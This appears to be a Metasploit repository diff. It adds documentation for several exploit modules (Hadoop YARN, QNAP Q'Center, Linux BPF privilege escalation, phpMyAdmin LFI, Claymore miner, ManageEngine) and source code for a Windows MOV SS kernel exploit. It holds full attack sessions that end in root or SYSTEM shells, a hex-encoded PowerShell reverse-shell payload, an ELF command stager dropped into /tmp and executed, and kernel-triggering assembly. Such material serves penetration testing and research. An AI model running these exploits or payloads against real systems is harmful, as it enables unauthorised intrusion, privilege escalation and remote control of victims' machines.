VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141
rhost => 192.168.77.141
msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(linux/http/hadoop_unauth_exec) > show options
Module options (exploit/linux/http/hadoop_unauth_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 192.168.77.141 yes The target address
RPORT 8088 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141
lhost => 192.168.77.141
msf5 exploit(linux/http/hadoop_unauth_exec) > exploit
[*] Started reverse TCP handler on 192.168.77.141:4444
[*] Sending Command
[*] Command Stager progress - 100.00% done (763/763 bytes)
[*] Sending stage (853256 bytes) to 172.20.0.3
[*] Meterpreter session 1 opened (192.168.77.141:4444 -> 172.20.0.3:34138) at 2018-05-15 03:21:17 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```

View File

@ -0,0 +1,81 @@
## Description
This module exploits a command injection vulnerability in the
`change_passwd` API method within the web interface of QNAP Q'Center
virtual appliance versions prior to 1.7.1083.
The vulnerability allows the `admin` privileged user account to
execute arbitrary commands as the `admin` operating system user.
Valid credentials for the `admin` user account are required, however,
this module also exploits a separate password disclosure issue which
allows any authenticated user to view the password set for the `admin`
user during first install.
## Vulnerable Application
[QNAP Q'Center](https://www.qnap.com/solution/qcenter/index.php) is a central
management platform that enables you to consolidate the management of multiple
QNAP NAS devices.
This module has been tested successfully on QNAP Q'Center appliance
version 1.6.1075.
## Verification Steps
1. Start `msfconsole`
2. `use exploit/linux/http/qnap_qcenter_change_passwd_exec`
3. `set RHOSTS <IP>`
4. `set USERNAME <USERNAME>` (default: `admin`)
5. `set PASSWORD <PASSWORD>` (default: `admin`)
6. `run`
7. You should get a session
## Options
**USERNAME**
Username for the application. (default: `admin`)
**PASSWORD**
Password for the application. (default: `admin`)
## Scenarios
```
msf5 > use exploit/linux/http/qnap_qcenter_change_passwd_exec
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set rhosts 10.1.1.112
rhosts => 10.1.1.112
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > set verbose true
verbose => true
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > check
[*] Target is QNAP Q'Center appliance version 1.6.1075
[*] 10.1.1.112:443 The target appears to be vulnerable.
msf5 exploit(linux/http/qnap_qcenter_change_passwd_exec) > run
[*] Started reverse TCP handler on 10.1.1.197:4444
[*] Target is QNAP Q'Center appliance version 1.6.1075
[+] Authenticated as user 'admin' successfully
[*] Sending payload ...
[*] Generated command stager: ["printf '\\177\\105\\114\\106\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\0\\3\\0\\1\\0\\0\\0\\124\\200\\4\\10\\64\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\64\\0\\40\\0\\1\\0\\0\\0\\0\\0\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\200\\4\\10\\0\\200\\4\\10\\317\\0\\0\\0\\112\\1\\0\\0\\7\\0\\0\\0\\0\\20\\0\\0\\152\\12\\136\\61\\333\\367\\343\\123\\103\\123\\152\\2\\260\\146\\211\\341\\315\\200\\227\\133\\150\\12\\1\\1\\305\\150\\2\\0\\21\\134\\211\\341\\152\\146\\130\\120\\121\\127\\211\\341\\103\\315\\200\\205\\300\\171\\31\\116\\164\\75\\150\\242\\0\\0\\0\\130\\152\\0\\152\\5\\211\\343\\61\\311\\315\\200\\205\\300\\171\\275\\353\\47\\262\\7\\271\\0\\20\\0\\0\\211\\343\\301\\353\\14\\301\\343\\14\\260\\175\\315\\200\\205\\300\\170\\20\\133\\211\\341\\231\\266\\14\\260\\3\\315\\200\\205\\300\\170\\2\\377\\341\\270\\1\\0\\0\\0\\273\\1\\0\\0\\0\\315\\200'>>/tmp/ivFxR ; chmod +x /tmp/ivFxR ; /tmp/ivFxR ; rm -f /tmp/ivFxR"]
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (861480 bytes) to 10.1.1.112
[*] Command Stager progress - 100.00% done (701/701 bytes)
meterpreter > getuid
Server username: uid=1001, gid=1001, euid=1001, egid=1001
meterpreter > sysinfo
Computer : 10.1.1.112
OS : Ubuntu 14.04 (Linux 3.13.0-32-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,187 @@
## Vulnerable Application
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.
The target system must be compiled with BPF support and must not have
`kernel.unprivileged_bpf_disabled` set to `1`.
This module has been tested successfully on:
* Debian 9.0 kernel 4.9.0-3-amd64;
* Deepin 15.5 kernel 4.9.0-deepin13-amd64;
* ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
* Fedora 25 kernel 4.8.6-300.fc25.x86_64;
* Fedora 26 kernel 4.11.8-300.fc26.x86_64;
* Fedora 27 kernel 4.13.9-300.fc27.x86_64;
* Gentoo 2.2 kernel 4.5.2-aufs-r1;
* Linux Mint 17.3 kernel 4.4.0-89-generic;
* Linux Mint 18.0 kernel 4.8.0-58-generic;
* Linux Mint 18.3 kernel 4.13.0-16-generic;
* Mageia 6 kernel 4.9.35-desktop-1.mga6;
* Manjero 16.10 kernel 4.4.28-2-MANJARO;
* Solus 3 kernel 4.12.7-11.current;
* Ubuntu 14.04.1 kernel 4.4.0-89-generic;
* Ubuntu 16.04.2 kernel 4.8.0-45-generic;
* Ubuntu 16.04.3 kernel 4.10.0-28-generic;
* Ubuntu 17.04 kernel 4.10.0-19-generic;
* ZorinOS 12.1 kernel 4.8.0-39-generic.
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
3. Do: `use exploit/linux/local/bpf_sign_extension_priv_esc`
4. Do: `set session #`
5. Do: `set verbose true`
6. Do: `exploit`
## Options
**WritableDir**
A folder we can write files to. Defaults to `/tmp`
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to `Auto`
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-116-generic)
#### Initial Access
```
resource (ubuntu.rb)> use auxiliary/scanner/ssh/ssh_login
resource (ubuntu.rb)> set rhosts 2.2.2.2
rhosts => 2.2.2.2
resource (ubuntu.rb)> set username ubuntu
username => ubuntu
resource (ubuntu.rb)> set password ubuntu
password => ubuntu
resource (ubuntu.rb)> exploit
[+] 2.2.2.2:22 - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) Linux ubuntu 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux '
[*] Command shell session 1 opened (1.1.1.1:36273 -> 2.2.2.2:22) at 2018-03-23 20:42:04 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
#### Escalate
In this scenario, gcc is installed so we can live compile on the system.
```
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
resource (ubuntu.rb)> set verbose true
verbose => true
resource (ubuntu.rb)> set session 1
session => 1
resource (ubuntu.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ubuntu.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Kernel confirmed vulnerable
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing vQIIRofN to /tmp/vQIIRofN.c
[*] Max line length is 65537
[*] Writing 7797 bytes in 1 chunks of 26837 bytes (octal-encoded), using printf
[*] Writing iuRJiXBf to /tmp/iuRJiXBf
[*] Max line length is 65537
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (812100 bytes) to 2.2.2.2
[*] task_struct = ffff88003869aa00
[*] uidptr = ffff8800354fb244
[*] spawning root shell
[*] Sleeping before handling stage...
[+] Deleted /tmp/vQIIRofN.c
[+] Deleted /tmp/vQIIRofN
[+] Deleted /tmp/iuRJiXBf
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
```
#### Escalate w/ pre-compiled binaries
It is possible to force pre-compiled binaries, in a scenario where `build-essential` or `gcc` aren't on the system.
```
resource (ubuntu.rb)> use exploit/linux/local/bpf_sign_extension_priv_esc
resource (ubuntu.rb)> set verbose true
verbose => true
resource (ubuntu.rb)> set session 1
session => 1
resource (ubuntu.rb)> set lhost 1.1.1.1
lhost => 1.1.1.1
resource (ubuntu.rb)> exploit
[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 1.1.1.1:4444
[+] Kernel confirmed vulnerable
[-] gcc is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing vsQTwocG to /tmp/vsQTwocG
[*] Max line length is 65537
[*] Writing 14040 bytes in 1 chunks of 36802 bytes (octal-encoded), using printf
[*] Writing JDQDHtEG to /tmp/JDQDHtEG
[*] Max line length is 65537
[*] Writing 283 bytes in 1 chunks of 844 bytes (octal-encoded), using printf
[*] Starting execution of priv esc.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (812100 bytes) to 2.2.2.2
[*] task_struct = ffff88003a8a3800
[*] uidptr = ffff88003d276304
[*] spawning root shell
[*] Sleeping before handling stage...
[+] Deleted /tmp/vsQTwocG
[+] Deleted /tmp/JDQDHtEG
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 16.04 (Linux 4.4.0-116-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
### Debian 9.0 (x86_64)
```
msf5 > use exploit/linux/local/bpf_sign_extension_priv_esc
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set session 1
session => 1
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > set compile False
compile => False
msf5 exploit(linux/local/bpf_sign_extension_priv_esc) > run
[*] Started reverse TCP handler on 172.16.191.188:4444
[*] Writing '/tmp/.JBJBxoEO' (34784 bytes) ...
[*] Writing '/tmp/.1pZhL1gc' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (861480 bytes) to 172.16.191.236
[*] Cleaning up /tmp/.1pZhL1gc and /tmp/.JBJBxoEO ...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : debian-9-0-x64.local
OS : Debian 9.4 (Linux 4.9.0-3-amd64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
```

View File

@ -0,0 +1,37 @@
## Description
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion, which can be exploited post-authentication to execute PHP code by application. The module has been tested with phpMyAdmin v4.8.1.
## Vulnerable Application
[phpMyAdmin v4.8.1](https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip) and v4.8.0
## Verification Steps
1. `./msfconsole -q`
2. `use exploit/multi/http/phpmyadmin_lfi_rce`
3. `set rhosts <rhost>`
4. `run`
## Scenarios
### Tested on Windows 7 x64 using PHP 7.2.4 and phpMyAdmin 4.8.1
```
msf5 > use exploit/multi/http/phpmyadmin_lfi_rce
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > set rhosts 172.22.222.122
rhosts => 172.22.222.122
msf5 exploit(multi/http/phpmyadmin_lfi_rce) > run
[*] Started reverse TCP handler on 172.22.222.190:4444
[*] Sending stage (37775 bytes) to 172.22.222.122
[*] Meterpreter session 1 opened (172.22.222.190:4444 -> 172.22.222.122:51999) at 2018-07-05 13:14:39 -0500
meterpreter > getuid
Server username: SYSTEM (0)
meterpreter > sysinfo
Computer :
OS : Windows NT 6.1 build 7601 (Windows 7 Professional Edition Service Pack 1) i586
Meterpreter : php/windows
meterpreter >
```

View File

@ -0,0 +1,48 @@
## Description
This module connects to the Claymore Dual Miner API server to exploit the RCE.
This module can target the remote system if the miner is running with read/write mode enabled.
## Vulnerable Application
[Claymore Dual Miner](https://github.com/nanopool/Claymore-Dual-Miner) allows an user to control the miner
configuration by uploading files inside its directory using the server API. Since there is no check on file names, an attacker
can exploit this vulnerability by uploading a reboot.bat or reboot.sh file and execute it via Remote Manager GUI.
## Verification Steps
1. Start the vulnerable software: `EthDcrMiner64.exe -epool eth-eu1.nanopool.org:9999 -ewal 0x83718eb67761Cf59E116B92A8F5B6CFE28A186E2 -epsw x -mode 1 -ftime 10 -mport 3333`
2. Run on terminal: `{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat", "706f7765727368656c6c2e657865202d436f6d6d616e64202224636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e536f636b6574732e544350436c69656e7428273132372e302e302e31272c31323334293b2473747265616d203d2024636c69656e742e47657453747265616d28293b5b627974655b5d5d246279746573203d20302e2e36353533357c257b307d3b7768696c6528282469203d202473747265616d2e52656164282462797465732c20302c202462797465732e4c656e6774682929202d6e652030297b3b2464617461203d20284e65772d4f626a656374202d547970654e616d652053797374656d2e546578742e4153434949456e636f64696e67292e476574537472696e67282462797465732c302c202469293b2473656e646261636b203d202869657820246461746120323e2631207c204f75742d537472696e6720293b2473656e646261636b3220203d202473656e646261636b202b202750532027202b2028707764292e50617468202b20273e20273b2473656e6462797465203d20285b746578742e656e636f64696e675d3a3a4153434949292e4765744279746573282473656e646261636b32293b2473747265616d2e5772697465282473656e64627974652c302c2473656e64627974652e4c656e677468293b2473747265616d2e466c75736828297d3b24636c69656e742e436c6f7365282922"]}`
3. Run on terminal: `nc -lvp 1234`
4. Run on terminal: `echo -e '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}\n' | nc 127.0.0.1 3333 && echo`
5. You should get a shell
## Options
**RHOST**
Remote Host
**RPORT**
Remote port the vulnerable software is running at, default is 3333.
### Remote target
```
msf5 > use exploit/multi/misc/claymore_dual_miner_remote_manager_rce
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rcee) > set lport 1234
lport => 1234
msf5 exploit(multi/misc/claymore_dual_miner_remote_manager_rce) > exploit
[*] Started reverse TCP handler on 127.0.0.1:1234
[*] Command shell session 1 opened (127.0.0.1:1234 -> 127.0.0.1:3333) at 2018-07-02 18:43:41 +0000
whoami
reversebrain
```

View File

@ -0,0 +1,54 @@
## Description
This module exploits a remote code execution vulnerability that exists in Exchange Reporter Plus <= 5310, caused by execution of bcp.exe file inside ADSHACluster servlet.
Additional information can be viewed on https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html
## Vulnerable Application
[Exchange Reporter Plus 5216](https://mega.nz/#!XG5CTC5I!IuG91CbrcdcpQj4teYRiBWNwy9pULRkV69U3DQ6nCyU)
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/http/manageengine_adshacluster_rce`
4. Do: `set rhost <ip>`
5. Do: `check`
```
[*] Version: 5216
[+] 192.168.88.125:8181 The target is vulnerable.
```
6. Do: `set lport <port>`
7. Do: `set lhost <ip>`
8. Do: `exploit`
9. You should get a shell.
## Scenarios
### Exchange Reporter Plus 5216 on Windows Target
```
msf > use exploit/windows/http/manageengine_adshacluster_rce
msf exploit(windows/http/manageengine_adshacluster_rce) > set rhost 192.168.88.125
rhost => 192.168.88.125
msf exploit(windows/http/manageengine_adshacluster_rce) > check
[*] Version: 5216
[+] 192.168.88.125:8181 The target is vulnerable.
msf exploit(windows/http/manageengine_adshacluster_rce) > set lport 1111
lport => 1111
msf exploit(windows/http/manageengine_adshacluster_rce) > set lhost 192.168.88.120
lhost => 192.168.88.120
msf exploit(windows/http/manageengine_adshacluster_rce) > exploit
[*] Started reverse TCP handler on 192.168.88.120:1111
[*] Sending stage (179779 bytes) to 192.168.88.125
[*] Meterpreter session 2 opened (192.168.88.120:1111 -> 192.168.88.125:49955) at 2018-07-02 18:58:01 +0200
meterpreter > sysinfo
Computer : WIN10
OS : Windows 10 (Build 16299).
Architecture : x64
System Language : pl_PL
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
```

View File

@ -0,0 +1,10 @@
# Description
This module exploits a MOV SS vulnerability that is specifically made against Microsoft Windows
(excpet for Windows XP). It will upload a pre-compiled exploit onto the target machine, followed
by the final payload (such as a Meterpreter) in order to gain remote code execution.
# Vulnerable Target
Please note that this module may not work with certain hypervisors (such as VMWare). You should
test it on a real machine if possible.

View File

@ -0,0 +1,10 @@
#pragma once
#define ERROR( msg ) \
{SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), 12 ); \
printf( "\n[[[[[[ " msg " ]]]]]]\n\n" ); \
system( "pause" ); \
exit( 0 );}
#define assert( cond ) if( !(cond) ) ERROR( "Assert Failed: " #cond )

View File

@ -0,0 +1,66 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
#include <iostream>
#include <vector>
#include "NtDefines.h"
struct KernelContext
{
HMODULE NtLib;
uint64_t NtBase;
template<typename T = fnFreeCall>
T GetProcAddress( const char* Proc )
{
FARPROC LocProc = ::GetProcAddress( this->NtLib, Proc );
if ( !LocProc )
return ( T ) ( nullptr );
uint32_t Delta = ( uintptr_t ) ( LocProc ) -( uintptr_t ) ( this->NtLib );
return ( T ) ( this->NtBase + Delta );
}
};
static KernelContext* Kr_InitContext()
{
KernelContext* Kc = new KernelContext;
std::vector<BYTE> Buffer( 1024 * 1024 );
ULONG ReqSize = 0;
do
{
if ( !NtQuerySystemInformation( SystemModuleInformation, Buffer.data(), Buffer.size(), &ReqSize ) )
break;
Buffer.resize( ReqSize * 2 );
}
while ( ReqSize > Buffer.size() );
SYSTEM_MODULE_INFORMATION* ModuleInfo = ( SYSTEM_MODULE_INFORMATION* ) Buffer.data();
char* KernelFileName = ( char* ) ModuleInfo->Module[ 0 ].FullPathName + ModuleInfo->Module[ 0 ].OffsetToFileName;
Kc->NtBase = ( uint64_t ) ModuleInfo->Module[ 0 ].ImageBase;
Kc->NtLib = LoadLibraryA( KernelFileName );
if ( !Kc->NtBase || !Kc->NtLib )
{
delete Kc;
printf( "[+] Failed to get kernel module information!\n" );
return 0;
}
printf( "[+] Kernel: %s @ %16llx\n", KernelFileName, Kc->NtBase );
return Kc;
}
static void Kr_FreeContext( KernelContext* Ctx )
{
delete Ctx;
}

View File

@ -0,0 +1,29 @@
BSD 3-Clause License
Copyright (c) 2018, Can Bölük
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,88 @@
#pragma once
#include <Windows.h>
#include <iostream>
#include "NtDefines.h"
#pragma section(".LDATA", read, write)
#pragma section(".LTEXT", read, write, execute)
#pragma data_seg(".LDATA$1")
#pragma data_seg(".LDATA$2")
#pragma data_seg(".LDATA$3")
#pragma data_seg()
#pragma code_seg(".LTEXT$1")
#pragma code_seg(".LTEXT$2")
#pragma code_seg(".LTEXT$3")
#pragma code_seg()
__declspec( allocate( ".LDATA$1" ) ) static char Np_DataStart = 0x0;
__declspec( allocate( ".LDATA$3" ) ) static char Np_DataEnd = 0x0;
__declspec( allocate( ".LTEXT$1" ) ) static char Np_TextStart = 0x0;
__declspec( allocate( ".LTEXT$3" ) ) static char Np_TextEnd = 0x0;
#define NON_PAGED_DATA __declspec( allocate( ".LDATA$2" ) )
#define NON_PAGED_CODE __declspec( code_seg( ".LTEXT$2" ) ) __declspec(noinline)
#define NON_PAGED_LAMBDA(...) []( __VA_ARGS__ ) NON_PAGED_CODE
// Mini non-paged crt
#define Np_memcpy(dst, src, size) __movsb( ( BYTE* ) dst, ( const BYTE* ) src, size )
#define Np_memset(dst, val, size) __stosb( ( BYTE* ) dst, val, size)
#define Np_ZeroMemory(dst, size) __stosb( ( BYTE* ) dst, 0, size)
#pragma comment(linker,"/MERGE:.LDATA=.data")
#pragma comment(linker,"/MERGE:.LTEXT=.text")
// Routines to lock the pages
static BOOL Np_TryIncreaseWorkingSetSize( SIZE_T Size )
{
SIZE_T Min, Max;
if ( !GetProcessWorkingSetSize( NtCurrentProcess(), &Min, &Max ) )
return FALSE;
if ( !SetProcessWorkingSetSize( NtCurrentProcess(), Min + Size, Max + Size ) )
return FALSE;
return TRUE;
}
static BOOL Np_TryLockPage( PVOID Page )
{
if ( !Np_TryIncreaseWorkingSetSize( 0x1000 ) )
return FALSE;
if ( VirtualLock( Page, 0x1000 ) )
return TRUE;
if ( !Np_TryIncreaseWorkingSetSize( 0x2000 ) )
return FALSE;
return VirtualLock( Page, 0x1000 );
}
static BOOL Np_LockRange( PVOID From, PVOID To )
{
PBYTE FromPageAligned = ( PBYTE ) ( ( uintptr_t ) ( From ) & ( ~0xFFF ) );
PBYTE ToPageAligned = ( PBYTE ) ( ( uintptr_t ) ( To ) & ( ~0xFFF ) );
for ( PBYTE Current = FromPageAligned; Current <= ToPageAligned; Current += 0x1000 )
{
if ( !Np_TryLockPage( Current ) )
{
printf( "[+] Failed locking %16llx!\n", Current );
return FALSE;
}
else
{
printf( "[+] Locked %16llx successfully!\n", From );
}
}
return TRUE;
}
static BOOL Np_LockSections()
{
printf( "[+] .LDATA: %16llx -> %16llx!\n", &Np_DataStart, &Np_DataEnd );
printf( "[+] .LTEXT: %16llx -> %16llx!\n", &Np_TextStart, &Np_TextEnd );
return
Np_LockRange( &Np_DataStart, &Np_DataEnd ) &&
Np_LockRange( &Np_TextStart, &Np_TextEnd );
}

View File

@ -0,0 +1,146 @@
.code
__swapgs PROC
swapgs
ret
__swapgs ENDP
__rollback_isr PROC
mov rdx, [rsp] ; rdx = Return pointer
lea r8, [rsp+8h] ; r8 = Old stack
mov [rcx], rdx ; isr stack.rip = Return pointer
mov [rcx+18h], r8 ; isr stack.rsp = Old stack
mov rsp, rcx ; stack = isr stack
iretq ; return
__rollback_isr ENDP
__set_gs_base PROC
wrgsbase rcx
ret
__set_gs_base ENDP
__readss PROC
xor eax, eax
mov ax, ss
ret
__readss ENDP
__read_gs_base PROC
rdgsbase rax
ret
__read_gs_base ENDP
__triggervuln PROC
mov [rcx+8*0], r12 ; save registers
mov [rcx+8*1], r13
mov [rcx+8*2], r14
mov [rcx+8*3], r15
mov [rcx+8*4], rdi
mov [rcx+8*5], rsi
mov [rcx+8*6], rbx
mov [rcx+8*7], rbp
mov [rcx+8*8], rsp
pushfq
pop [rcx+8*9]
mov ss, word ptr [rdx] ; Defer debug exception
int 3 ; Execute with interrupts disabled
nop
nop
nop
nop
mov r12, [rcx+8*0] ; load registers
mov r13, [rcx+8*1]
mov r14, [rcx+8*2]
mov r15, [rcx+8*3]
mov rdi, [rcx+8*4]
mov rsi, [rcx+8*5]
mov rbx, [rcx+8*6]
mov rbp, [rcx+8*7]
mov rsp, [rcx+8*8]
push [rcx+8*9]
popfq
ret
__triggervuln ENDP
__setxmm0 PROC
movups xmm0, [rcx]
ret
__setxmm0 ENDP
__setxmm1 PROC
movups xmm1, [rcx]
ret
__setxmm1 ENDP
__setxmm2 PROC
movups xmm2, [rcx]
ret
__setxmm2 ENDP
__setxmm3 PROC
movups xmm3, [rcx]
ret
__setxmm3 ENDP
__setxmm4 PROC
movups xmm4, [rcx]
ret
__setxmm4 ENDP
__setxmm5 PROC
movups xmm5, [rcx]
ret
__setxmm5 ENDP
__setxmm6 PROC
movups xmm6, [rcx]
ret
__setxmm6 ENDP
__setxmm7 PROC
movups xmm7, [rcx]
ret
__setxmm7 ENDP
__setxmm8 PROC
movups xmm8, [rcx]
ret
__setxmm8 ENDP
__setxmm9 PROC
movups xmm9, [rcx]
ret
__setxmm9 ENDP
__setxmm10 PROC
movups xmm10, [rcx]
ret
__setxmm10 ENDP
__setxmm11 PROC
movups xmm11, [rcx]
ret
__setxmm11 ENDP
__setxmm12 PROC
movups xmm12, [rcx]
ret
__setxmm12 ENDP
__setxmm13 PROC
movups xmm13, [rcx]
ret
__setxmm13 ENDP
__setxmm14 PROC
movups xmm14, [rcx]
ret
__setxmm14 ENDP
__setxmm15 PROC
movups xmm15, [rcx]
ret
__setxmm15 ENDP
end

View File

@ -0,0 +1,30 @@
#pragma once
#include <Windows.h>
#include <inttypes.h>
extern "C"
{
void __setxmm0( BYTE* );
void __setxmm1( BYTE* );
void __setxmm2( BYTE* );
void __setxmm3( BYTE* );
void __setxmm4( BYTE* );
void __setxmm5( BYTE* );
void __setxmm6( BYTE* );
void __setxmm7( BYTE* );
void __setxmm8( BYTE* );
void __setxmm9( BYTE* );
void __setxmm10( BYTE* );
void __setxmm11( BYTE* );
void __setxmm12( BYTE* );
void __setxmm13( BYTE* );
void __setxmm14( BYTE* );
void __setxmm15( BYTE* );
void __swapgs();
uint16_t __readss();
PVOID __read_gs_base();
void __set_gs_base( PVOID GsBase );
void __rollback_isr( uint64_t IsrStack );
void __triggervuln( PVOID RegSave, PVOID Abc );
};

View File

@ -0,0 +1,72 @@
#pragma once
#include <Windows.h>
#pragma pack(push, 8)
typedef struct _SYSTEM_MODULE_ENTRY
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} SYSTEM_MODULE_ENTRY, *PSYSTEM_MODULE_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG Count;
SYSTEM_MODULE_ENTRY Module[ 0 ];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
{
struct
{
ULONG KvaShadowEnabled : 1;
ULONG KvaShadowUserGlobal : 1;
ULONG KvaShadowPcid : 1;
ULONG KvaShadowInvpcid : 1;
ULONG Reserved : 28;
} KvaShadowFlags;
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
typedef UNICODE_STRING *PUNICODE_STRING;
#pragma pack(pop)
#define NtCurrentProcess() ( HANDLE(-1) )
#define SeLoadDriverPrivilege 10ull
#define SystemModuleInformation 0xBull
#define SystemKernelVaShadowInformation 196ull
#define AdjustCurrentProcess 0ull
#define STATUS_SUCCESS 0
using fnFreeCall = uint64_t( __fastcall* )( ... );
template<typename ...Params>
static NTSTATUS __NtRoutine( const char* Name, Params &&... params )
{
auto fn = ( fnFreeCall ) GetProcAddress( GetModuleHandleA( "ntdll.dll" ), Name );
return fn( std::forward<Params>( params ) ... );
}
#define NtQuerySystemInformation(...) __NtRoutine("NtQuerySystemInformation", __VA_ARGS__)
#define RtlAdjustPrivilege(...) __NtRoutine("RtlAdjustPrivilege", __VA_ARGS__)
#define NtUnloadDriver(...) __NtRoutine("NtUnloadDriver", __VA_ARGS__)
#define NtLoadDriver(...) __NtRoutine("NtLoadDriver", __VA_ARGS__)
